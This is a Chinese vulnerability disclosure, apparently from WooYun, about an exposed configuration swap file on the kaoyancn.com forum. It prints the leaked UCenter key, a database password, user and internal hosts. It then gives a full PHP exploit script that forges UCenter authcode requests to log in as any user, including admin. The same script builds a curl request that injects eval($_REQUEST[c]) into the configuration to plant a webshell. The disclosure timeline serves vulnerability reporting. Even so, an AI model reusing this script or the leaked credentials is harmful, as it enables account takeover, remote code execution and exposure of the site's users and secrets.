2015-03-23: 细节已通知厂商并且等待厂商处理中 2015-03-28: 厂商已经主动忽略漏洞,细节向公众公开
考研网运维不当敏感信息导致任意用户登陆(700W)
敏感信息泄漏http://bbs.kaoyancn.com/config/.config_ucenter.php.swp
define('UC_PPP', 20); define('UC_IP', '192.168.1.43'); //define('UC_IP', '219.232.49.217'); define('UC_APPID', '1'); define('UC_API', 'http://account.kaoyan.com'); define('UC_KEY', '29x4u2b3qanefaJaO2P1T5eclcj3Qemal7t143lbq9pcNchcvcT8U6S1Qcg6a6J1'); define('UC_CHARSET', 'utf-8'); define('UC_DBCONNECT', 0); define('UC_DBTABLEPRE', '`kaoyan_account`.uc_'); define('UC_DBCHARSET', 'utf8'); define('UC_DBNAME', 'kaoyan_account'); define('UC_DBPW', 'Rj3ij2RlVAVd'); define('UC_DBUSER', 'kaoyan_account'); define('UC_DBHOST', '192.168.1.38'); define('UC_CONNECT', 'mysql');
泄漏了uc_key及数据库账号等任意用户登陆脚本:http://zone.wooyun.org/content/10580
<?php$key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#少年 uc_key 写在这里$url = 'http://localhost/api/uc.php';#$arg = 'action=updateapps&time='.time();#拿webshell:http://localhost/config/config_ucenter.php 密码:c$arg = 'action=synlogin&uid=1&username=admin&time='.time();#登录任意用户#其他的 可以看api里的接口,格式:action=接口&参数echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"';#登录任意用户直接访问url即可,getshell可以curl或者用其他工具post提交function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); }}?>
危害等级:无影响厂商忽略
忽略时间:2015-03-28 17:10
漏洞Rank:15 (WooYun评价)
2015-08-03:谢谢撸撸侠,我们已经修复了